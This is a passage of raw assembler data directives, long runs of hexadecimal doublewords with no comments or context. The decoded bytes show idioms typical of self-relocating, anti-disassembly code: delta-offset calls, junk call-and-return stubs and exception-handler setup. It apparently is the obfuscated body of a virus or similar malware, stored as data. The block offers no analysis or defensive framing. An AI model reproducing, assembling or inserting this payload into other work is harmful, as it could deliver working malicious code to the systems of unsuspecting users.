		dd 0Ch,	68E0Fh,	8A0F0000h, 0
		dd 166185C7h, 62Ch, 9D030000h, 62C122Dh, 0FFF370E9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 830CEB1Dh, 58D2B144h, 0E9D98B26h, 0Ah, 7480D972h, 7024A8E9h
		dd 0C18B4BD3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	31C35747h, 9DBFDB2Fh, 0BD8BF3F3h, 62C12ADh, 32A5858Dh
		dd 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E4E2DBC3h, 7E96CF4h, 7D000000h, 0A51BB3ACh
		dd 6090928Bh, 830F52h, 59000000h, 5F595251h, 8B665061h
		dd 6A90F8h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 290181C3h, 6A006AA9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 4ABCC357h
		dd 24BF6CBAh, 6E9A9h, 0CAD10000h, 12CB16CBh, 8DF5006Ah
		dd 306C8A85h, 0DE906h, 89B40000h, 9C19F383h, 70BDCFD1h
		dd 83E71352h, 0F5005C0h, 282h, 89D98B00h, 9D892404h, 62C2C09h
		dd 0C18B6660h, 2840Fh, 0F28B0000h, 66006A61h, 6A607CBFh
		dd 0CFD38100h, 8B48A42Eh, 2C22759Dh, 9D95FF06h,	6A062C23h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8DD5C355h, 2FA0428Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 8E1A76EFh
		dd 5B652A45h, 6AD1FF0Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 496EC351h, 0A632219Ch
		dd 0BD83FB8Bh, 62C09A1h, 6D850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E9B7C357h, 0Dh, 832B97C9h, 8C11E455h, 1D4FCF93h, 33026AB2h
		dd 2C08359Dh, 0FB8B9006h, 0DE8B6650h, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 8D09B9FFh, 62C0D2Dh,	58995FFh, 0B589062Ch, 62C2B8Dh
		dd 0F60E9h, 0E800h, 815D0000h, 306C94EDh, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 6A97FD85h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1EF6C356h, 971BF5DDh, 6ACB8166h
		dd 0D3858D1Ch, 6A062F9Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0B045C353h,	0CFD01355h
		dd 90264E42h, 5050FA8Bh, 0BE96052h, 3A000000h, 0EAEDE7F2h
		dd 3BB5D503h, 33B9CA60h, 6155BAD0h, 0AE8310Fh, 0DF000000h
		dd 0F5BE6C8Bh, 4B37DCBEh, 8E99Ch, 0DAD70000h, 6C23877Bh
		dd 5A5BC976h, 5E89058h,	0F7000000h, 0BC46E715h,	6617B160h
		dd 5F61CB8Bh, 35FF64h, 0E9000000h, 9, 38F48059h, 0DE6FBFDDh
		dd 25896401h, 0
		dd 6296BF66h, 0E0BBDF81h, 85FF559Fh, 62C1A69h, 61C78B60h
		dd 21119509h, 0FF6A062Ch, 3870Fh, 8B660000h, 3DB5FFF9h
		dd 89062C24h, 2C11F5B5h, 0C595FF06h, 0E9062C04h, 143h
		dd 0EE9h, 1277FE00h, 42C8198h, 4F7192B1h, 0B05386AFh, 87E38000h
		dd 71E470E6h, 0F613CF5h, 11E83h, 14E900h, 6E5B0000h, 2BE079A9h
		dd 7BFAAB2Ah, 0C10EDCE7h, 24ABDCF2h, 6051A0D5h,	0F08812BAh
		dd 8E940h, 0E43C0000h, 0B8CDF19Eh, 5F615C4Eh, 0BAC8B60Fh
		dd 6, 0D851E381h, 0C18B30FAh, 0C1F9BF0Fh, 0FE904E8h, 0FD000000h
		dd 22DD0DA6h, 9C335550h, 9B1260F3h, 0F766FF68h,	0CF8166E2h
		dd 0C82B7F4Dh, 6E860h, 0A9A50000h, 0BAD331A6h, 5AF98B66h
		dd 0F82EBF66h, 8AD18B61h, 0CE9D8h, 800F0000h, 4, 84E2BF66h
		dd 858B65B3h, 62C074Dh,	8B07C083h, 2C23D1BDh, 0C08306h
		dd 0FD03BF9h, 3983h, 12E900h, 60FC0000h, 0ED165585h, 8777D9E3h
		dd 8D6F07Fh, 1102C9CDh,	5AE9h, 14E800h,	0F0410000h, 0DD53A938h
		dd 1EB73298h, 0D7217B2Ch, 0C8AE73F8h, 8B6618FFh, 8D8B5BDEh
		dd 62C0819h, 83D8B70Fh,	840F01E1h, 2Bh,	0C1BD03F8h, 83062C1Ch
		dd 2C0819A5h, 870FFE06h, 6, 1BA19D89h, 9589062Ch, 62C074Dh
		dd 11598D89h, 0E9062Ch,	8D000000h, 2FE313B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 681324Ah, 8B482D9Fh,	2C268DBDh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8945C353h, 2C12D595h, 0B195FF06h, 6A062C26h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0E428C350h, 0A86946BAh, 0B29A3A4h, 0BF0F12B7h, 9B5B9FFh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D24F7EC3h, 66CFEB56h, 796AE381h,	0FFCE183h
		dd 58Eh, 0E7816600h, 0DE9FC3Ch,	5A000000h, 887BA07h, 0B18FA444h
		dd 0C55D590Bh, 57006AFCh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 99B6F7DBh, 0E39BD8Bh
		dd 0BD8B062Ch, 62C0AA5h, 0B8h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0AE86889h
		dd 0B7000000h, 7315ABBBh, 417D69B5h, 2D9D8BB6h,	5F062C07h
		dd 0BAh, 59D8900h, 0AD062C2Ch, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0D34EC355h, 20291609h,	0F98AE481h
		dd 9D47BF66h, 20A99D8Bh, 880D062Ch, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6BCFC350h, 6116B1C0h, 0DF8B8F8Dh, 83C38166h,	0A5958B9Dh
		dd 6A062C2Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F8E6C351h, 16514798h,	1D28AAC1h
		dd 33619D8Bh, 8D8B062Ch, 62C12D9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0ACC35545h,	0AB1250E9h, 8A0B60C2h
		dd 0FA8B66D9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0FF946AC3h, 7C204E74h, 66F8DB9Ah,	8166DE8Bh
		dd 6A8CD1D3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FC2C350h, 157FEB7h, 2C08D9BDh
		dd 0E9605F06h, 13h, 8CA4B327h, 0AE17BDB4h, 0D94D5B04h
		dd 819AE2A9h, 89B523DEh, 2C0595B5h, 0BD836106h,	62C2071h
		dd 0AE840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 16F3C351h, 891E8A63h
		dd 0CCBF66C5h, 0B86Ch, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 372B4BC3h, 176883D0h
		dd 11E994B3h, 5D000000h, 0DEF3D29Ah, 6FAE907Dh,	0C0B55857h
		dd 149D269Bh, 1FE1B589h, 8D8D062Ch, 62C4F51h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7AC35747h, 74B0BE81h
		dd 0BE87059h, 0A3000000h, 0EA2C7F53h, 0F8EC1B4Ch, 0BD2947AEh
		dd 62C07B9h, 0FFF88B5Bh, 0C1BD83E1h, 62C29h, 410840Fh
		dd 7E80000h, 0F1000000h, 0CCC0F0B9h, 9D312EBBh,	62C3379h
		dd 0C1BD835Fh, 1062C29h, 40B840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 5CC37DC3h
		dd 0CBBD8058h, 0BD0951F3h, 62C1BC9h, 0C1BD835Fh, 3062C29h
		dd 39D860Fh, 8FBF0000h,	6046430Dh, 0E380F98Ah, 0D98C66A1h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h
		dd 1DF00CEAh, 0DEBF0FBDh, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0A2BC357h
		dd 0D8840FC9h, 8B000000h, 2C1DF185h, 999D8906h,	33062C1Bh
		dd 2C0B3185h, 1D9D8B06h, 50062C06h, 0B809D7BFh,	24048931h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 84C35747h
		dd 95B8CA0Ch, 0DFE30BF3h, 8D9D3399h, 6A062C34h,	9D9D8B00h
		dd 68062C24h, 0B0765333h, 5E8h,	7BCDB200h, 0BF66E320h
		dd 815BC83Ch, 0B0CC2404h, 0F9604FA8h, 0AE8h, 0F3CDBA00h
		dd 2CD4B823h, 5EB70669h, 6595FF61h, 89062C34h, 2C1CD585h
		dd 20858906h, 6A062FB0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9AAC357h,	12h, 0BDE963CBh
		dd 14B1AE7Ah, 567C7C82h, 0DD41726Dh, 0BFE9500Eh, 0F000001h
		dd 68Ah, 0BDB58900h, 8B062C1Dh,	2FB01885h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 36F8A49Fh, 0FBEFAB85h, 0FDB58960h, 66062C12h, 615AD2BBh
		dd 1800C7h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 840D57C3h, 0B01CB58Bh, 8BFC062Fh
		dd 2C0C5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 64444836h, 66B6BA34h, 8B665AE9h
		dd 6A0689F8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 757CC356h, 366B1573h, 8166D98Bh
		dd 8BFBD7C3h, 2C1DF185h, 4468906h, 878480BBh, 7BBB507Fh
		dd 892589ADh, 0BD332434h, 62C0C45h, 0B018B5FFh,	6A062Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6B61CCC3h, 68683982h, 0E8CDB4FCh, 14h, 0C619ED44h, 18572F3Dh
		dd 0D9260F9Ah, 477538DCh, 5A6FFBE4h, 0FD3B71BFh, 4815F40h
		dd 6A079724h, 55006A32h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 20858D68h, 6A062FB0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 947C353h
		dd 2C11F595h, 4895006h,	0C5B58924h, 0FF062C11h,	2C346595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 2F3DC619h, 0F9A1857h, 0FE9D926h,	2D000000h
		dd 8451C515h, 2D11E7F6h, 0A5FB6A5Ah, 6A61392Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 9D68C355h, 0FE88F876h, 0A8C0Fh, 840F0000h, 4, 3ABEBB66h
		dd 2089BD8Bh, 85C7062Ch, 62C29C1h, 3, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 5C35343h, 707A3705h, 0BD83F5E9h
		dd 62FB020h, 48840F00h,	0E9000000h, 0Ah, 475AC8A3h, 2026003h
		dd 4FE9A95Ch, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 5B10C351h, 8E0F8E09h
		dd 0Ah,	8948B760h, 2C22399Dh, 81666106h, 507B00D3h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8B66C08Bh
		dd 50006AF8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0D223ADFEh, 0EF8D41C2h, 0BF66182Dh, 0BD83DF1Dh
		dd 62C29C1h, 0D0850F03h, 6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0C7ADC355h
		dd 0E6689C5Ah, 66BA9029h, 31AACB81h, 7E8h, 7C4DA400h, 78B92931h
		dd 2B699531h, 835B062Ch, 2FB020BDh, 840F0006h, 487h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9BC35343h, 0DB726FE3h
		dd 0A5BE9C90h, 8F53BF30h, 0B5FF3791h, 62FB020h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A2C35141h, 0DE8BA342h
		dd 19C995FFh, 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0CC6673C3h, 39826B61h, 0B014B58Bh
		dd 6A062Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 27F937C3h, 5378E964h, 8152DD62h, 1FD96FF3h
		dd 6C75B7Fh, 10001h, 15C98D29h,	74BF062Ch, 502A94E0h, 11E8h
		dd 75AF1400h, 0C3A8DEA4h, 85EA17D9h, 0B0505797h, 0FB8B7576h
		dd 2434895Fh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	91C35040h, 0E860E99Ch, 9E960h, 39ED0000h, 444B1FCBh
		dd 0FC61C39h, 0FF61C1B7h, 2FB020B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B017EFF7h
		dd 64A48B17h, 0BE994h, 1C720000h, 0B28F4FD1h, 0EAD3E1C2h
		dd 0BD95FFC9h, 66062C08h, 0B58BD88Bh, 62FB014h,	2331BD8Bh
		dd 858B062Ch, 62C23B1h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0CDC35343h, 0ECC59E90h, 4CBF02h, 86892B97h
		dd 0C4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 18h,	0E0C35040h, 5A9FBD6Ch, 1F9DBD0Bh, 0B589062Ch, 62C32B9h
		dd 2BA5958Bh, 0BD8B062Ch, 62C0F49h, 6A04C283h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 51FAC357h, 7D505AD3h, 714BBB66h, 1381BD01h, 5089062Ch
		dd 55006A20h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0AC9D2EAFh, 0BD2987D3h, 62C2D8Dh, 0C564858Dh
		dd 6A062Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 2C6250C3h, 6073DA5Fh, 5B9BD89h, 8B60062Ch
		dd 2C1E09B5h, 1B7BBF06h, 61613CF1h, 0B88689h, 850F0000h
		dd 13h,	7E8h, 7C052800h, 0FF35BB89h, 2A4D9D89h,	0E95B062Ch
		dd 13h,	170830E4h, 65A23353h, 0E49AD743h, 7C1913ECh, 6A3F1BDDh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 55BD2B71h, 0E9062C1Ah, 0Eh, 0B7FD65BCh
		dd 0CC72E633h, 0C73CB44Dh, 0B5FF3DF3h, 62FB020h, 9F79BFBBh
		dd 8995FF50h, 6A062C05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 546FC350h, 8BFA5B4Bh
		dd 0BECAE279h, 11E9h, 0C93A8700h, 20F2BDB1h, 1EB341F0h
		dd 0C9CA3FF0h, 60505521h, 0A4BA6660h, 0DE892h, 22530000h
		dd 99D39EB6h, 0C7917F6Eh, 58C000CEh, 34896161h,	0DF99BB24h
		dd 0B5FF0808h, 62FB020h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 8AC35343h, 0AC8D2CF8h, 19EAC323h, 0D995FFC5h
		dd 83062C11h, 2C07B5BDh, 840F0006h, 6Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 88C35646h, 0D85EB253h
		dd 66579695h, 5B886CBFh, 0E8525050h, 0Eh, 5B793252h, 0DF8355A0h
		dd 1EF40E79h, 5B57CAF3h, 8A310F5Bh, 96585ADAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7C35545h, 0F7B8181h
		dd 8Eh,	20B5FF00h, 6A062FB0h, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0C30BC351h,	35CEA2D2h
		dd 2A15F094h, 152995FFh, 0BD89062Ch, 62C2405h, 0B020B5FFh
		dd 0BB66062Fh, 95FF8329h, 62C0479h, 0B25BD89h, 0BD83062Ch
		dd 62C1535h, 38840F02h,	80000000h, 858BF3E7h, 62C0189h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CBC35141h
		dd 5BDAB75Eh, 0BF66D04Bh, 0C641D1h, 0BDBD8B00h,	0C7062C25h
		dd 2C166185h, 6, 5E900h, 37C70000h, 0E9B560CCh,	0FFFFF1F2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C35141h
		dd 1E819D8Bh, 0C18B062Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 28C35646h, 24473513h,	8D8932B1h, 62C13A1h
		dd 0FA8B6653h, 0A5858D5Bh, 6A062C32h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0BD69C351h
		dd 50FA8B90h, 8880Fh, 850F0000h, 2, 6A9055B7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0B289C353h, 0A72CEA8Ch, 8589E52Eh, 62C1EB5h,	6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CDF718C3h, 6AD9EEh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 18C35545h, 3D858D52h,	6A06307Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0D74BC355h, 0B1EC02F2h, 13E8EAh, 155C0000h, 6A23857Eh
		dd 0FB1503AAh, 9DF3275Eh, 34C82D1Fh, 0CE9BEh, 852E0000h
		dd 3FC9C013h, 4A57C16Dh, 835B03C3h, 0A2BB05C0h,	9065DC9Ah
		dd 505008B7h, 0FFCB352h, 8CBB5631h, 5F29EB26h, 6A90585Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 8DEAC355h, 6800Fh, 0BD8B0000h, 62C0C81h
		dd 6A006Ah, 1CE99D29h, 0F550062Ch, 9D95FF5Fh, 6A062C23h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FEAC356h, 686h, 0ED8D3100h, 0F062C20h, 0FB8BDEB7h
		dd 0A0428D8Dh, 6A062Fh,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82BF1AC3h
		dd 7D845645h, 55BD898Eh, 0FF062C07h, 0D88B66D1h, 9A1BD83h
		dd 0F01062Ch, 9685h, 840FF500h,	6, 5459D8Bh, 26A062Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8C35141h
		dd 9D28E781h, 12E91726h, 5C000000h, 0DF2EC1B2h,	0C51A07FAh
		dd 29079FA0h, 85F945A7h, 0BF6650E4h, 4891763h, 14E95624h
		dd 7F000000h, 51373218h, 0D25029A6h, 0DB20C3E1h, 0D796112Eh
		dd 5FDB6817h, 58995FFh,	6A062Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0F0E22FC3h, 0A7BCD393h
		dd 0E9F88B66h, 0E4Dh, 0E8h, 0ED815D00h,	6307E47h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 63C35141h, 25F38166h
		dd 0FF960B1h, 68Fh, 1DBD8900h, 61062C11h, 9AD3858Dh, 6A062Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 1B15A3C3h, 3C7276F7h, 0C2E78166h, 0DE8A90F1h, 13E850h
		dd 0C49B0000h, 0F2E313Bh, 30005E6Ah, 76D30D94h,	0CB102966h
		dd 6A905F44h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 9AEFC352h, 0F334AB4Ch,	719D31F8h
		dd 64062C01h, 35FFh, 0BD8B0000h, 62C0CC9h, 258964h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 2465C357h, 0DE9h,	0AB7D7B00h, 67BFA507h
		dd 0D912563h, 85FF000Eh, 62C1A69h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D5C35141h,	95360899h, 5E861h
		dd 0FA010000h, 8BD471C9h, 2C2431BDh, 0FF6A5B06h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 81C35747h, 0AE9h
		dd 5EEBB700h, 0F21D0FD7h, 0FEFEC40h, 8Fh, 4DB5FF00h, 9062C27h
		dd 2C0E55B5h, 0C595FF06h, 0E9062C04h, 11Ah, 1BE58D09h
		dd 0B0062Ch, 0E6DFB70Fh, 78EB8170h, 0E464DE7Dh,	36BF6671h
		dd 0F613CB4h, 0F983h, 0F0806000h, 81665795h, 5A58B8EAh
		dd 0C8B60F61h, 0AE9h, 689D9200h, 0EC6290A1h, 0BA1DE411h
		dd 6, 22799D29h, 0C18B062Ch, 8E960h, 66F20000h,	8834426Dh
		dd 9D8B9F9Ah, 62C1D25h,	0D8A0F61h, 0E9000000h, 8, 178EFCD3h
		dd 34505B49h, 6604E8C1h, 666242BFh, 8D89E2F7h, 62C0EADh
		dd 0F1B7C82Bh, 4E9D18Bh, 66000000h, 8B6858BFh, 2C19E185h
		dd 0B5BB6606h, 7C08305h, 1E78166h, 0C083BBh, 9ACF8166h
		dd 0FD03B9Dh, 1D83h, 0DF816600h, 5BE95953h, 0E9000000h
		dd 0Eh,	42EE943Bh, 3C73C677h, 99CAEF14h, 8D8B60D7h, 62C2A39h
		dd 0E183D98Bh, 37840F01h, 0E9000000h, 5, 8A406011h, 39A5837Dh
		dd 0FE062C2Ah, 0BE9h, 0E6126D00h, 0A35ADC73h, 5A01A0C7h
		dd 1BD59589h, 9589062Ch, 62C19E1h, 1E8C8BFh, 0E918h, 0B58D0000h
		dd 62FEEABh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	5EC35646h, 0B42AEA3Ah, 676543BBh, 6A54B735h, 51858900h
		dd 0FF062C20h, 2C26B195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0E6040BF6h
		dd 299D290Dh, 0B9062C01h, 75Eh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 82C35646h, 81BCBED5h, 9D1488DBh
		dd 0FCE18371h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	33C35545h, 0D5D5233Eh, 0F9F9BB7h, 68Ah,	0FD9D8900h
		dd 0FC062C29h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0EDC35141h, 94E28160h, 890D1CEEh, 2C1FF995h, 0C02B6106h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C0C35747h
		dd 0A1BD0951h, 2B062C00h, 57006AD2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 9CC2CF50h
		dd 0F1EDB70h, 33ADFEB7h, 3E8D1C2h, 4E983D0h, 8B0FF475h
		dd 12h,	9E8h, 48E2B00h,	1A63A6BBh, 0D3806DA9h, 0DF85B4Ah
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 2CC35646h, 9D8BF9ADh, 62C068Dh, 2BA5958Bh, 0CABF062Ch
		dd 8B345458h, 2C12D98Dh, 6DBD8B06h, 50062C1Ah, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 38C0F58h, 0F000000h
		dd 6AD8BFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 3FECB0C3h, 83962596h, 0EF81C196h,	16D4EF35h
		dd 0F91BD8Bh, 0BD89062Ch, 62C2645h, 2071BD83h, 0F00062Ch
		dd 7984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 9BADA61Dh, 90C7F381h, 89F969CDh
		dd 2C0DF19Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 1CD89FC3h, 81B70B37h
		dd 8B4A7AD1h, 2C2959BDh, 68C0F06h, 0B000000h, 2C26719Dh
		dd 518D8D06h, 66062C4Fh, 0E1FFD88Bh, 0B79BD8Bh,	0BD83062Ch
		dd 62C29C1h, 76840F00h,	83000004h, 2C29C1BDh, 840F0106h
		dd 484h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	4FC35747h, 8A871C08h, 12E9FB8Bh, 0A5000000h, 0A8750B8Dh
		dd 76821620h, 0F2E70117h, 88522FF2h, 0C1BD8378h, 3062C29h
		dd 408860Fh, 9D890000h,	62C0055h, 13599D8Bh, 6A60062Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B21C356h, 2C0A5DBDh, 0D98C6606h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 16C35646h, 0CE8h
		dd 8CF70100h, 30CA1439h, 0DBE17A7Eh, 0F1B50179h, 5F062C30h
		dd 1AA59D29h, 0E180062Ch, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C1D2703Dh
		dd 0C90AEB4Eh, 16E840Fh, 0BB660000h, 858BCDE9h,	62C1DF1h
		dd 1BC5B589h, 8533062Ch, 62C0B31h, 31159D89h, 0F50062Ch
		dd 88Eh, 28F0F00h, 52000000h, 2404895Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 7CC35141h, 958040B6h
		dd 508F5D0Bh, 0D19D8BF9h, 3062C24h, 2C057DBDh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 890DC353h, 2C025185h, 4E806h, 3FF0000h, 6660001Fh
		dd 0F53DE8Bh, 8Bh, 50615900h, 0CE860h, 5AB20000h, 34D84799h
		dd 0FCF17F8Eh, 6E947A4h, 5A000000h, 8E54C416h, 810F5E5Fh
		dd 2, 8B61BAB7h, 52042444h, 5BF88B66h, 0BB66008Bh, 44896E3Ch
		dd 8C0F0424h, 5, 13C511BBh, 6A586Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9589B7C3h
		dd 62C0245h, 346595FFh,	6A062Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0B84739C3h, 0A33DF268h
		dd 8B50FFD0h, 2C208D9Dh, 20858906h, 6A062FB0h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 946AC352h, 204E74FFh, 0F8DB9A7Ch, 37EB8166h,	1C3E997h
		dd 0EB810000h, 3EE7712h, 0B018858Bh, 6A062Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 3CB44DC3h
		dd 7A3DF3C7h, 0C7822Eh,	18h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 66C35141h, 1A65837Bh, 2960909Bh
		dd 2C21A195h, 66EA8106h, 615B2920h, 19F18529h, 8BFC062Ch
		dd 2FB01CB5h, 79BD0306h, 80062C18h, 858BB6D7h, 62C0C55h
